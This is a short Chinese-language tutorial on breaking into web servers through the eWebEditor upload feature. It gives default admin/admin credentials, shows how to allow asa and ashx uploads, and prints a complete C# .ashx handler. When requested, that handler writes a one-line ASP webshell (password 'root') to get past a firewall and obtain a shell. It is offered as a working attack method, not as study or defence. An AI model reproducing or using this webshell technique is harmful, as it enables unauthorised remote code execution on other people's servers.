ewebeditor 上传遇到防火墙限制的解决办法 图文

这是一个eweb入口(废话)
    
    用默认帐户密码admin admin进入
    
    样式添加asa扩展名
    
    直接上传asp马
    
    到这里都是顺利的,但是。。当你访问马的时候。。
    
    试过了小马,一句话,会出现同样的问题
    解决方法:
    在样式添加里加上扩展名ashx
    创建一个1.ashx的文件, 上传,代码如下:
    复制代码
    代码如下:
    
    <%@ WebHandler Language="C#" Class="Handler" %>
    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {
    public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";
    StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
    file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
    file1.Flush();
    file1.Close();
    }
    public bool IsReusable {
    get {return false; }
    }
    }
    然后直接访问它。。
    
    它会在当前目录生成一个root.asp的一句话木马,密码为root
    
    然后连接一句话木马就可以啦~~
    
    拿到shell